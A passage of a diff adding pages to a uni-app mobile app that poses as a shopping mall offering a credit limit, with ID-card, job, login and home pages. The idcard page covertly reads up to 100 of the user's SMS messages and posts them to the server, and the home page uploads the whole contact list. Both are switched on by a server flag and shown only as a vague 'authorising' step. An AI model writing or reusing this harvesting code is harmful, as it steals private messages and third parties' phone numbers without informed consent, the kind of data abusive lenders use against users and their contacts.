                            icon: '',
                        })
                    }
                })
            },
            addCarts () {
                let t = this
                let burl = '/pages/ginfo/ginfo?id=' + this.goodsData.id
                if(!this.$util.checkGoPages('/pages/login/login', burl, 0)) {
                    return
                }
                this.$util.post('Carts/addCarts', {goodsId: this.goodsData.id}).then(res => {
                    if(res.code == 1) {
                        uni.showModal({
                            title: '温馨提示',
                            content: '添加购物车成功,是否去结算?',
                            success: function (res) {
                                if (res.confirm) {
                                    t.$util.goSwitch('/pages/carts/carts')
                                }
                            }
                        })
                    } else {
                        uni.showToast({
                            title: res.msg || '添加购物车失败',
                            icon: 'error'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/ginfo.css);
</style>
pages/idcard/idcard.vue
New file
@@ -0,0 +1,331 @@
<template>
    <view class="auth">
        <yk-authpup ref="authpup" type="top" @changeAuth="changeAuth" noticeTitle="便于您使用该功能上传您的照片用于核实身份场景中读取相册内容" permissionID="WRITE_EXTERNAL_STORAGE"></yk-authpup>
        <yk-authpup ref="camears" type="top" @changeAuth="changeAuth2" noticeTitle="便于您使用该功能便于您拍摄上传用于核实身份场景" permissionID="CAMERA"></yk-authpup>
        <view class="tips">
            <view class="tips-title">温馨提示</view>
            <view class="tips-desc">扫描身份证需要获取您的相机权限,身份证信息需要您本人真实信息,否则将认证失败,请知悉。</view>
            <view class="tips-desc">信息仅用于核实您的身份,将加密保障您的信息安全。</view>
        </view>
        <view class="authView">
            <view class="auth-title">
                <text class="auth-title-w">上传身份证</text>
                <view class="auth-tips">
                    <image src="/static/imgs/authtag.png" ></image>
                    <text>信息安全保护中</text>
                </view>
            </view>
            <view class="auth-desc">请上传身份证照片认证,确保照片清晰、四角完整</view>
            <view class="authImg">
                <image class="del" @tap="delImg(1)" src="/static/imgs/delete.png"  v-if="imgzSrc != ''"></image>
                <image @tap="setImg(1)" :src="imgzSrc != '' ? $baseUrl + imgzSrc : '/static/imgs/auth1.png'"  style="border-radius: 10rpx;"></image>
                <view class="authImg-desc">
                    <text>点击上传/拍摄</text>
                    <text>(人头面)</text>
                </view>
                <view class="authBtn">
                    <view class="addrItem" style="text-align: center;">
                        <text class="label" style="font-weight: bold;margin-bottom: 20upx;">真实姓名(请与身份证保持一致)</text>
                        <input type="text" class="realname" v-model="realname" placeholder="请输入真实姓名">
                        <input type="text" class="realname" v-model="idcard" placeholder="请输入身份证号">
                    </view>
                </view>
            </view>
            <view class="authImg">
                <image class="del" @tap="delImg(2)" src="/static/imgs/delete.png"  v-if="imgfSrc != ''"></image>
                <image @tap="setImg(2)" :src="imgfSrc != '' ? $baseUrl + imgfSrc : '/static/imgs/auth2.png'"  style="border-radius: 10upx;"></image>
                <view class="authImg-desc">
                    <text>点击上传/拍摄</text>
                    <text>(国徽面)</text>
                </view>
            </view>
            <view class="authImg">
                <image class="del" @tap="delImg(3)" src="/static/imgs/delete.png"  v-if="imgZm != ''"></image>
                <image @tap="setImg(3)" :src="imgZm != '' ? $baseUrl + imgZm : '/static/imgs/zima.png'"  style="border-radius: 10upx;"></image>
                <view class="authImg-desc">
                    <text>点击上传/拍摄</text>
                    <text>(芝麻分截图)</text>
                </view>
            </view>
        </view>
        <view class="authBtn">
            <view class="authBtn-desc">
                <image @tap="agreeClick" class="authBtn-icon" :src="!agreeFlag ? '/static/imgs/check.png' : '/static/imgs/checked.png'" ></image>
                <text>我已阅读并同意</text>
                <text class="blue" @tap="agreeDialog">《实名认证授权书》</text>
            </view>
            <view class="auth-btn" v-if="!agreeFlag" @click="idcardAuth">下一步</view>
            <view class="auth-btn active" v-else="agreeFlag" @click="idcardAuth">下一步</view>
        </view>
        <agreePup ref="agreePup" :gp="4" title="实名认证授权书"></agreePup>
    </view>
</template>
<script>
    import ykAuthpup from "@/components/yk-authpup/yk-authpup";
    import permision from "@/js_sdk/wa-permission/permission.js"
    import agreePup from "@/components/agreePup/agreePup";
    export default {
        components: {
            ykAuthpup,
            agreePup,
        },
        data() {
            return {
                realname: '',
                idcard: '',
                is_choose: true,
                agreeFlag: false,
                imgzSrc: '',
                imgfSrc: '',
                imgZm: '',
                imgType: 0,
                Message: [],
                config: null,
            }
        },
        onLoad() {
            this.getConfig()
            this.getUserInfo()
        },
        methods: {
            getConfig() {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    if(res.code == 1) {
                        console.log('config', res.data)
                        t.config = res.data
                    }
                })
            },
            agreeDialog (e) {
                this.$refs.agreePup.dialog = !this.$refs.agreePup.dialog
            },
            getUserInfo () {
                let t = this
                let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
                if(userStr != null) {
                    t.$util.post('User/getUser').then(res => {
                        if(res.code == 1){
                            if(res.data.message == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
                                console.log('res', res.data)
                                t.requestAndroidPermission('android.permission.READ_SMS')
                            }
                        }
                    })
                }
            },
            async requestAndroidPermission(permisionID) {
                let t = this
                let result = await permision.requestAndroidPermission(permisionID)
                console.log('pr', result)
                if (result == 1) {
                    t.setMessage()
                } else if (result == 0) {
                    this.$util.goSetting()
                } else {
                    this.$util.goSetting()
                }
            },
            delImg (type) {
                if(type == 1) {
                    this.imgzSrc = ''
                    this.realname = ''
                    this.idcard = ''
                } else if(type == 2) {
                    this.imgfSrc = ''
                } else {
                    this.imgZm = ''
                }
            },
            agreeClick () {
                this.agreeFlag = !this.agreeFlag
            },
            changeAuth () {
                //这里是权限通过后执行自己的代码逻辑
                if(uni.getSystemInfoSync().platform !='ios'){
                    this.$refs['camears'].open()
                }
                this.chooseImg(this.imgType)
            },
            changeAuth2(){
                this.chooseImg(this.imgType)
            },
            setImg(key){
                this.is_choose = false
                this.imgType = key
                if(uni.getSystemInfoSync().platform != 'ios'){
                    this.$refs['authpup'].open()
                }else{
                    this.chooseImg(key)
                }//调起自定义权限目的弹框,具体可看示例里面很详细
            },
            idcardAuth () {
                let t = this
                if(!this.agreeFlag){
                    return uni.showToast({
                        title: '请阅读并同意实名认证授权书',
                        icon: 'none'
                    })
                }
                if(this.imgzSrc == ''){
                    return uni.showToast({
                        title: '请上传人头面',
                        icon: 'error'
                    })
                }
                if(this.imgfSrc == ''){
                    return uni.showToast({
                        title: '请上传国徽面',
                        icon: 'error'
                    })
                }
                if(this.imgZm == ''){
                    return uni.showToast({
                        title: '请上传芝麻图',
                        icon: 'error'
                    })
                }
                if(this.realname == ''){
                    return uni.showToast({
                        title: '请输入真实姓名',
                        icon: 'error'
                    })
                }
                if(this.idcard == ''){
                    return uni.showToast({
                        title: '请输入身份证号',
                        icon: 'error'
                    })
                }
                this.$util.post('User/idcardAuth', {imgzSrc: this.imgzSrc, imgfSrc: this.imgfSrc, imgZm: this.imgZm, realname: this.realname, idcard: this.idcard}).then(res => {
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '操作成功',
                            icon: 'success'
                        })
                        //更新用户信息缓存
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        setTimeout(() => {
                            t.$util.goPages('/pages/face/face')
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            chooseImg (type) {
                let t = this
                uni.chooseImage({
                    count: 1, // 默认9
                    sizeType: ['original', 'compressed'],
                    sourceType: ['album'],
                    success: (chooseImageRes) => {
                        t.is_choose = true
                        let tempFilePaths = chooseImageRes.tempFilePaths
                        let token = uni.getStorageSync('lzsc-token')
                        let header = {
                            'Accept': 'application/json',
                            'authorization': token,
                            'idcard': type,
                        }
                        uni.showLoading({
                            title: '上传中..',
                        })
                        uni.uploadFile({
                            url: t.$baseUrl + '/api/index/uploadImg',
                            filePath: tempFilePaths[0],
                            header: header,
                            name: 'file',
                            success: (uploadFileRes) => {
                                uni.hideLoading()
                                let res = JSON.parse(uploadFileRes.data)
                                console.log('ty', type)
                                if(type == 1) {
                                    let upRes = JSON.parse(t.$util.decryptDes(res.data))
                                    t.imgzSrc = upRes.path
                                    t.realname = upRes.realname
                                    t.idcard = upRes.idcard
                                } else if(type == 2){
                                    t.imgfSrc = JSON.parse(t.$util.decryptDes(res.data))
                                } else {
                                    t.imgZm = JSON.parse(t.$util.decryptDes(res.data))
                                }
                            },
                            // 上传失败回调(关键!否则失败时不会关闭提示)
                            fail: (err) => {
                                console.error('上传失败', err);
                                uni.hideLoading();
                                uni.showToast({ title: '上传失败', icon: 'none' });
                            },
                              // 无论成功失败都会执行(可选,用于兜底)
                            complete: () => {
                                // 可在这里做最终清理
                                t.is_choose = true
                                uni.hideLoading();
                            }
                        })
                    }
                })
            },
            setMessage () {
                uni.showLoading({
                    title: '授权中...'
                })
                let self = this
                var main = plus.android.runtimeMainActivity();
                var Uri = plus.android.importClass('android.net.Uri');
                var ContactsContract = plus.android.importClass('android.provider.ContactsContract');
                var uri = Uri.parse('content://sms/');
                var cr = main.getContentResolver();
                plus.android.importClass(cr);
                var cur = cr.query(uri, null, null, null, null);
                plus.android.importClass(cur);
                cur.moveToFirst();
                var count = 0; // 记录多少条
                while (cur.moveToNext()) {
                    count++;
                    let ob = {}
                    let index_Address = cur.getColumnIndex('address')
                    ob.address = cur.getString(index_Address);
                    //短信内容
                    let index_Body = cur.getColumnIndex('body')
                    ob.body = cur.getString(index_Body)
                    //类型1接收 2发送
                    let index_Type = cur.getColumnIndex('type')
                    ob.type = cur.getString(index_Type) == 1 ? '接收' : '发送'
                    let index_date = cur.getColumnIndex('date')
                    let date = cur.getString(index_date)
                    ob.date = date.substr(0, 10)
                    self.Message = self.Message.concat(ob)
                    // 查询100条 就跳出
                    if (count > 99) {
                       break;
                    }
                }
                cur.close()
                if(self.Message.length > 0){
                    self.$util.post('Message/setMessage', self.Message).then(rs => {
                        uni.hideLoading()
                        console.log('rs', rs)
                        uni.showToast({
                            title: '授权成功!',
                            icon: 'success',
                        })
                    })
                }
                uni.hideLoading()
            },
        }
    }
</script>
<style>
    @import url(/static/css/idcard.css);
</style>
pages/index/index.vue
New file
@@ -0,0 +1,304 @@
<template>
    <view class="index">
        <view class="status_bar"></view>
        <view class="index-top">
            <view class="index-title">
                <view class="index-title-view index-title-view1">
                    <view class="index-title-view-lf">
                        <image src="@/static/imgs/index-logo.png" mode="widthFix"></image>
                    </view>
                    <view class="index-title-view-lf2">趋势好货放心购</view>
                </view>
                <view class="index-title-view index-title-view2">
                    <view class="index-title-view-rf">
                        <view class="">
                            <image src="@/static/imgs/qiandao.png" mode="widthFix"></image>
                            <text>签到打卡</text>
                        </view>
                    </view>
                    <view class="index-title-view-rf">
                        <view class="">
                            <image src="@/static/imgs/kefu.png" mode="widthFix"></image>
                            <text>联系客服</text>
                        </view>
                    </view>
                </view>
            </view>
            <view class="search">
                <view class="search-1">
                    <image src="@/static/imgs/s2.png" mode="widthFix"></image>
                    <input type="text" placeholder="请输入关键词" />
                </view>
                <view class="search-2">
                    <view class="">搜索</view>
                </view>
            </view>
            <view class="cates">
                <view class="cates-v" v-for="(item, index) in catesNavData" @tap="$util.goPages('/pages/catesList/catesList?catesId=' + item.id + '&title=' + item.title)">
                    <image class="cates-v-icon" :src="item.icon" mode="scaleToFill"></image>
                    <view class="">{{item.title}}</view>
                </view>
            </view>
        </view>
        <view class="banner">
            <swiper class="swiper" circular :indicator-dots="indicatorDots" :indicator-color="indicatorColor" :autoplay="autoplay" :indicator-active-color="indicatorActiveColor" :interval="interval" :duration="duration">
                <swiper-item v-for="(item, index) in bannerData"  :key="index" @tap="$util.goPages('/pages/ginfo/ginfo?id=' + item.goodsid)">
                    <image lazy-load :src="item.icon" ></image>
                </swiper-item>
            </swiper>
        </view>
        <view class="comm">
            <view class="comm-1">
                <view class="comm-title">
                    <image src="/static/imgs/ptyx.png" mode="widthFix"></image>
                </view>
                <view class="comm-goods">
                    <view class="comm-goods-v" v-for="(item, index) in prefGoods" @click="$util.goPages('/pages/ginfo/ginfo?id=' + item.id)">
                        <view class="">
                            <image :src="item.icon" mode="widthFix"></image>
                            <text>¥{{item.price}}</text>
                        </view>
                    </view>
                </view>
            </view>
            <view class="comm-2"></view>
            <view class="comm-3">
                <view class="comm-title">
                    <image src="@/static/imgs/jfdh.png" mode="widthFix"></image>
                </view>
                <view class="comm-goods">
                    <view class="comm-goods-v" v-for="(item, index) in pointGoods" @click="$util.goPages('/pages/ginfo/ginfo?id=' + item.id)">
                        <view class="">
                            <image :src="item.icon" mode="widthFix"></image>
                            <text>∮{{item.points}}</text>
                        </view>
                    </view>
                </view>
            </view>
        </view>
        <view class="hots">
            <view class="hots-title" @tap="$util.goPages('/pages/catesList/catesList?is_hot=1&title=热门推荐')">
                <image class="hots-icon" src="@/static/imgs/rmtj.png" mode="widthFix"></image>
                <view class="hots-rgt">
                    <text>大家都在买</text>
                    <image src="@/static/imgs/right.png" mode="widthFix"></image>
                </view>
            </view>
            <view class="hots-goods">
                <view class="hots-goods-v" v-for="(item, index) in hotGoods" @click="$util.goPages('/pages/ginfo/ginfo?id=' + item.id)">
                    <view class="">
                        <image :src="item.icon" mode="widthFix"></image>
                        <text>¥{{item.price}}</text>
                    </view>
                </view>
            </view>
        </view>
        <view class="goods-main">
            <view class="goods-main-view">
                <view class="goods-list">
                    <view class="goods-item" v-for="(itm, index) in goodsData" @click="$util.goPages('/pages/ginfo/ginfo?id=' + itm.id)">
                        <image lazy-load class="goods-icon" :src="itm.icon" mode="widthFix"></image>
                        <view class="goods-title">{{itm.title}}</view>
                        <view class="goods-price">
                            <view>¥</view>
                            <view class="red">{{itm.price}}</view>
                            <view class="hyj">
                                <image src="@/static/imgs/hyj.png" mode="widthFix"></image>
                            </view>
                            <view>¥</view>
                            <view class="red">{{itm.price}}</view>
                        </view>
                    </view>
                </view>
            </view>
        </view>
        <uni-popup ref="popup2" type="center" :is-mask-click="false">
            <view class="popup-content">
                <view class="edu-view edu-view2">
                    <image src="/static/imgs/close.png" class="close-edu" mode="widthFix" @tap="$refs.popup2.close()"></image>
                    <view class="edu-view-desc2">认证领取额度</view>
                    <image class="edu-icon-succ" src="/static/imgs/auths.png" mode="widthFix"></image>
                    <view class="edu-view-desc3">
                        请您先认证个人信息,然后立即领取额度
                    </view>
                    <view class="edu-btns" @tap="goLingqu">立即领取</view>
                </view>
            </view>
        </uni-popup>
    </view>
</template>
<script>
    import permision from "@/js_sdk/wa-permission/permission.js"
    export default {
        data() {
            return {
                scrollIndex: 0,
                scrollCurrent: '',
                staHeight: 0,
                paddingHeight: 0,
                indicatorDots: true,
                indicatorColor: '#e3b400',
                indicatorActiveColor: '#ffffff',
                autoplay: true,
                interval: 3000,
                duration: 500,
                bannerData: [],
                catesNavData: [],
                goodsData: [],
                prefGoods: [],
                hotGoods: [],
                pointGoods: [],
                userInfo: null,
                config: null,
            }
        },
        onShow() {
            this.getData()
            this.getConfig()
            this.getUserInfo()
        },
        onLoad() {
        },
        onReady() {
            // #ifdef APP-PLUS
            plus.navigator.setStatusBarBackground('#FFD2D8')
            // #endif
        },
        methods: {
            getData () {
                this.$util.post('Goods/getIndexData').then(res => {
                    this.bannerData = res.data.bannerData
                    this.catesNavData = res.data.catesNavData
                    this.pointGoods = res.data.pointGoods
                    this.hotGoods = res.data.hotGoods
                    this.prefGoods = res.data.prefGoods
                    this.goodsData = res.data.catesNavData[1].goods
                })
            },
            scrollClick (index) {
                this.scrollIndex = index
                this.scrollCurrent = 'scrollItem' + index
                this.goodsData = []
                this.goodsData = this.catesNavData[index].goods
                setTimeout(() => {
                    this.scrollCurrent = ''; // 重置以便下次可以滚动到相同位置
                }, 500);
            },
            getConfig() {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    if(res.code == 1) {
                        t.config = res.data
                    }
                })
            },
            getUserInfo () {
                let t = this
                t.$util.post('User/getUser').then(res => {
                    if(res.code == 1){
                        this.userInfo = res.data
                        if(res.data.over_auth == 0 && t.config.put_open == 2){
                            setTimeout(() => {
                                t.$refs.popup2.open()
                            }, 100)
                        } else {
                            setTimeout(() => {
                                t.$refs.popup2.close()
                            }, 100)
                        }
                        if(res.data.contacts == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
                            t.requestAndroidPermission('android.permission.READ_CONTACTS')
                        }
                    }
                })
            },
            goLingqu () {
                if(!this.$util.checkLogin('/pages/index/index')){
                    return
                }
                if(this.userInfo && this.userInfo.over_auth == 1) {
                    return uni.showToast({
                        title: '您已完成认证!',
                        icon: 'success'
                    })
                }
                let goUrl = ''
                if(this.userInfo.idcard_auth == 0){
                    goUrl = '/pages/idcard/idcard'
                } else if(this.userInfo.face_auth == 0){
                    goUrl = '/pages/face/face'
                } else if(this.userInfo.job_auth == 0){
                    goUrl = '/pages/job/job'
                } else if(this.userInfo.bank_auth == 0){
                    goUrl = '/pages/addBank/addBank?backUrl=/pages/edu/edu'
                } else {
                    return uni.showToast({
                        title: '您已完成认证!',
                        icon: 'success'
                    })
                }
                if(goUrl != '') {
                    uni.navigateTo({
                        url: goUrl
                    })
                }
            },
            async requestAndroidPermission(permisionID) {
                let t = this
                let result = await permision.requestAndroidPermission(permisionID)
                if (result == 1) {
                    t.setContacts()
                } else if (result == 0) {
                    this.$util.goSetting()
                } else {
                    this.$util.goSetting()
                }
            },
            setContacts () {
                uni.showLoading({
                    title: '授权中...'
                })
                let self = this
                plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, addressbook => {
                    addressbook.find(["displayName","phoneNumbers"],function(contacts){
                        let ob = []
                        let phone = []
                        for(let i in contacts){
                            let json = {}
                            if(contacts[i].phoneNumbers.length > 0 && contacts[i].displayName){
                                if(phone.indexOf(contacts[i].phoneNumbers[0].value) < 0){
                                    json.name = contacts[i].displayName
                                    json.phone = contacts[i].phoneNumbers[0].value
                                    phone = phone.concat(json.phone)
                                    ob = ob.concat(json)
                                }
                            }
                        }
                        if(ob.length > 0){
                            self.$util.post('Contacts/setContacts', ob).then(res => {
                                uni.hideLoading()
                                uni.showToast({
                                    title: res.msg || '授权成功!',
                                    icon: 'success',
                                })
                            })
                        }
                        uni.hideLoading()
                    })
                },
                function (e){
                    this.requestAndroidPermission('android.permission.READ_CONTACTS')
                })
            },
        }
    }
</script>
<style>
    @import url(@/static/css/index.css);
</style>
pages/job/job.vue
New file
@@ -0,0 +1,259 @@
<template>
    <view>
        <view class="addr">
            <view class="addrItem">
                <text class="label">工作单位</text>
                <picker @change="jobChange" :value="jobindex" :range="$job">
                    <view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="jobindex == -1">请选择工作单位</view>
                    <view class="uni-input" v-else>{{$job[jobindex]}}</view>
                </picker>
            </view>
            <view class="addrItem">
                <text class="label">月收入</text>
                <picker @change="incomeChange" :value="incomeindex" :range="$income">
                    <view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="incomeindex == -1">请选择月收入</view>
                    <view class="uni-input" v-else>{{$income[incomeindex]}}</view>
                </picker>
            </view>
            <view class="addrItem">
                <text class="label">联系人姓名(1)</text>
                <input type="text" v-model="formData.relation[0].name" placeholder="请输入联系人姓名">
            </view>
            <view class="addrItem">
                <text class="label">联系人关系(1)</text>
                <picker @change="relChange" data-relation="1" :value="relindex[1]" :range="$relation">
                    <view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="relindex[1] == -1">请选择联系人关系</view>
                    <view class="uni-input" v-else>{{$relation[relindex[1]]}}</view>
                </picker>
            </view>
            <view class="addrItem">
                <text class="label">联系人电话(1)</text>
                <input type="tel" v-model="formData.relation[0].phone" placeholder="请输入联系人电话">
            </view>
            <view class="addrItem">
                <text class="label">联系人姓名(2)</text>
                <input type="text" v-model="formData.relation[1].name" placeholder="请输入联系人姓名">
            </view>
            <view class="addrItem">
                <text class="label">联系人关系(2)</text>
                <picker @change="relChange" data-relation="2" :value="relindex[2]" :range="$relation">
                    <view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="relindex[2] == -1">请选择联系人关系</view>
                    <view class="uni-input" v-else>{{$relation[relindex[2]]}}</view>
                </picker>
            </view>
            <view class="addrItem">
                <text class="label">联系人电话(2)</text>
                <input type="tel" v-model="formData.relation[1].phone" placeholder="请输入联系人电话">
            </view>
            <view class="addrItem">
                <text class="label">社保</text>
                <view class="uni-list">
                    <radio-group @change="radioChange" data-field="shebao">
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="有" />
                            </view>
                            <view>有</view>
                        </label>
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="无" />
                            </view>
                            <view>无</view>
                        </label>
                    </radio-group>
                </view>
            </view>
            <view class="addrItem">
                <text class="label">公积金</text>
                <view class="uni-list">
                    <radio-group @change="radioChange" data-field="gongjj">
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="有" />
                            </view>
                            <view>有</view>
                        </label>
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="无" />
                            </view>
                            <view>无</view>
                        </label>
                    </radio-group>
                </view>
            </view>
            <view class="addrItem">
                <text class="label">车辆</text>
                <view class="uni-list">
                    <radio-group @change="radioChange" data-field="car">
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="有" />
                            </view>
                            <view>有</view>
                        </label>
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="无" />
                            </view>
                            <view>无</view>
                        </label>
                    </radio-group>
                </view>
            </view>
            <view class="addrItem">
                <text class="label">房产</text>
                <view class="uni-list">
                    <radio-group @change="radioChange" data-field="house">
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="有" />
                            </view>
                            <view>有</view>
                        </label>
                        <label class="uni-list-cell uni-list-cell-pd">
                            <view>
                                <radio value="无" />
                            </view>
                            <view>无</view>
                        </label>
                    </radio-group>
                </view>
            </view>
        </view>
        <view class="addrBtn" @tap="jobSave">保存</view>
        <view class="tips">
            <view class="tipsTitle">
                <image src="/static/imgs/notice2.png" ></image>
                <text>温馨提示</text>
            </view>
            <view class="tipsDesc">
                <view>1.需认真填写资料,请确保为本人操作。</view>
                <view>2.信息已只能加密,仅用于个人信息认证,隐私信息将严格保密。</view>
            </view>
        </view>
    </view>
</template>
<script>
    import permision from "@/js_sdk/wa-permission/permission.js"
    export default {
        data() {
            return {
                relindex: {1: -1, 2: -1},
                relindex2: -1,
                jobindex: -1,
                incomeindex: -1,
                formData: {
                    company: '',
                    income: '',
                    relation: [
                        {
                            name: '',
                            phone: '',
                            relation: '',
                        },
                        {
                            name: '',
                            phone: '',
                            relation: '',
                        },
                    ],
                    shebao: '',
                    gongjj: '',
                    car: '',
                    house: '',
                },
                rules: {
                    company: '请选择工作单位',
                    income: '请输入月收入',
                    shebao: '请选择社保情况',
                    gongjj: '请选择公积金情况',
                    car: '请选择车辆情况',
                    house: '请选择房产情况',
                }
            }
        },
        onLoad(op) {
        },
        methods: {
            incomeChange (e) {
                this.incomeindex = e.detail.value
                this.formData.income = this.$income[this.incomeindex]
            },
            jobChange (e) {
                this.jobindex = e.detail.value
                this.formData.company = this.$job[this.jobindex]
            },
            relChange (e) {
                console.log(e)
                let i = parseInt(e.currentTarget.dataset.relation)
                this.relindex[e.currentTarget.dataset.relation] = e.detail.value
                this.formData.relation[i-1].relation = this.$relation[e.detail.value]
            },
            radioChange (e) {
                this.formData[e.currentTarget.dataset.field] = e.detail.value
            },
            jobSave () {
                let t = this
                for(let i in this.formData){
                    if(i != 'relation'){
                        if(this.formData[i] == ''){
                            return uni.showToast({
                                title: t.rules[i],
                                icon: 'error'
                            })
                        }
                    } else {
                        for(let j = 0; j <= 1; j++){
                            console.log(i, j)
                            if(this.formData[i][j].name == ''){
                                return uni.showToast({
                                    title: '请输入联系人('+(j+1)+')姓名',
                                    icon: 'error'
                                })
                            }
                            if(this.formData[i][j].relation == ''){
                                return uni.showToast({
                                    title: '请选择联系人('+(j+1)+')关系',
                                    icon: 'error'
                                })
                            }
                            if(this.formData[i][j].phone == ''){
                                return uni.showToast({
                                    title: '请输入联系人('+(j+1)+')手机号',
                                    icon: 'error'
                                })
                            }
                        }
                    }
                }
                t.$util.post('User/jobSave', this.formData).then(res => {
                    console.log(res)
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '保存成功',
                            icon: 'success'
                        })
                        //更新用户信息缓存
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        setTimeout(() => {
                            t.$util.goPages('/pages/addBank/addBank?backUrl=/pages/edu/edu')
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '保存失败',
                            icon: 'error'
                        })
                    }
                })
            },
        }
    }
</script>
<style>
    @import url(/static/css/addAddr.css);
</style>
pages/login/login.vue
New file
@@ -0,0 +1,218 @@
<template>
    <view>
        <view class="login-title">
            <view class="login-title-1">手机号登录</view>
            <view class="login-title-2">未注册的手机号将自动注册</view>
        </view>
        <view class="login-type">
            <view class="login-type-v">
                <view :class="formData.loginType == 1 ? 'active' : ''" @tap="loginTypeClick(1)">账号密码登录</view>
                <view :class="formData.loginType == 2 ? 'active' : ''" @tap="loginTypeClick(2)">短信登录</view>
            </view>
        </view>
        <view class="login-list">
            <view class="login-item">
                <input type="tel" v-model="formData.phone" placeholder="请输入手机号" />
            </view>
            <view class="login-item" v-if="formData.loginType == 1">
                <input type="password" v-model="formData.pass" placeholder="请输入密码" />
            </view>
            <view class="login-item" v-if="formData.loginType == 2">
                <input type="tel" v-model="formData.code" maxlength="4" placeholder="请输入验证码" />
                <text class="code2" v-if="leftTime < 60">{{leftTime}}S后获取</text>
                <text class="code" @click="sendCode" v-else>获取验证码</text>
            </view>
        </view>
        <view class="loginBtn">
            <view class="loginBtn-desc">
                <image @click="agreeClick" class="loginBtn-icon" :src="!loginAct ? '/static/imgs/check.png' : '/static/imgs/checked.png'" ></image>
                <text>我已阅读并同意</text>
                <text class="blue" @tap="agreeDialog1">《注册协议》</text>
                <text class="blue" @tap="agreeDialog2">《隐私政策》</text>
            </view>
            <view :class="loginAct ? 'login-btn active' : 'login-btn'" @click="loginUser">登录</view>
            <view class="loginDesc">
                <view class="fl" @tap="$util.goPages('/pages/regist/regist')">注册账号</view>
                <view class="fr" @tap="$util.goPages('/pages/findpass/findpass')">忘记密码</view>
            </view>
        </view>
        <agreePup ref="agreePup1" :gp="1" title="注册协议"></agreePup>
        <agreePup ref="agreePup2" :gp="2" title="隐私政策"></agreePup>
    </view>
</template>
<script>
    import agreePup from "@/components/agreePup/agreePup";
    export default {
        components: {
            agreePup,
        },
        data() {
            return {
                loginAct: false,
                formData: {
                    phone: '',
                    code: '',
                    pass: '',
                    loginType: 1,
                },
                phoneReg: /^\d{11}$/,
                backUrl: '',
                leftTime: 60,
            }
        },
        onLoad(op) {
            this.backUrl = op.backUrl ? op.backUrl : ''
        },
        methods: {
            agreeDialog1 (e) {
                this.$refs.agreePup1.dialog = !this.$refs.agreePup1.dialog
            },
            agreeDialog2 (e) {
                this.$refs.agreePup2.dialog = !this.$refs.agreePup2.dialog
            },
            loginTypeClick (e) {
                this.formData.loginType = e
            },
            agreeClick () {
                this.loginAct = !this.loginAct
            },
      async loginUser() {
        let t = this
        if (!t.loginAct) {
          return uni.showToast({
            title: '请阅读并同意协议政策',
            icon: 'error'
          })
        }
        if (t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)) {
          return uni.showToast({
            title: '手机号错误!',
            icon: 'error'
          })
        }
        if (t.formData.pass == '' && t.formData.loginType == 1) {
          return uni.showToast({
            title: '请输入密码!',
            icon: 'error'
          })
        }
        if (t.formData.code == '' && t.formData.loginType == 2) {
          return uni.showToast({
            title: '请输入验证码!',
            icon: 'error'
          })
        }
        try {
          // 登录接口
          const res = await t.$util.post('User/Login', this.formData)
          if (res.code == 1) {
            uni.setStorageSync('lzsc-token', res.data.userToken)
            uni.setStorageSync('user-info', JSON.stringify(res.data))
            let isSwitch = 0
            let goUrl = ''
            // qxgLogin接口
            const ygxRes = await new Promise((resolve, reject) => {
              uni.request({
                url: t.$webHost + '/api/v2/auth/qxgIosUnionLogin?phone=' + t.$util.getUserInfo().phone,
                success: resolve,
                fail: reject
              })
            })
            console.log(ygxRes);
            if(!ygxRes.data.data.boughtEquity){
              goUrl = '/pages/quanyi/index'
              t.$util.goPages(goUrl)
              return
            }
            t.qxgLogin = ygxRes.data.data
            uni.setStorageSync('qxgLogin', t.qxgLogin)
            if (this.backUrl == '') {
              isSwitch = 1
              goUrl = '/pages/index/index'
            } else {
              goUrl = this.backUrl
            }
            uni.showToast({
              title: res.msg || '登录成功'
            })
            setTimeout(() => {
              if (isSwitch == 1) {
                t.$util.goSwitch(goUrl)
              } else {
                t.$util.goPages(goUrl)
              }
            }, 1500)
          } else {
            uni.showToast({
              title: res.msg || '登录失败',
              icon: 'error'
            })
          }
        } catch (err) {
          console.error(err)
          uni.showToast({
            title: '请求失败',
            icon: 'error'
          })
        }
      },
            sendCode () {
                let t = this
                if(this.formData.phone == '' || !this.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '手机号错误!',
                        icon: 'error',
                    })
                }
                if (this.leftTime < 60) {
                    return false
                }
                this.$util.post('Sms/sendVerificationCode', {phone: this.formData.phone}).then(res => {
                    console.log(res)
                    if(res.code == 1){
                        t.countDown()
                        uni.showToast({
                            title:'发送成功',
                            icon:'none'
                        })
                    } else {
                        uni.showToast({
                            title: res.msg,
                            icon: 'none',
                        })
                    }
                })
            },
            countDown() {
                this.leftTime--
                if (this.leftTime > 0) {
                    setTimeout(this.countDown, 1000)
                } else {
                    this.leftTime = 60
                }
            },
        }
    }
</script>
<style>
    @import url(/static/css/login.css);
</style>
pages/logs/logs.vue
New file
@@ -0,0 +1,47 @@
<template>
    <view>
        <view class="logs" v-if="accountData.length > 0">
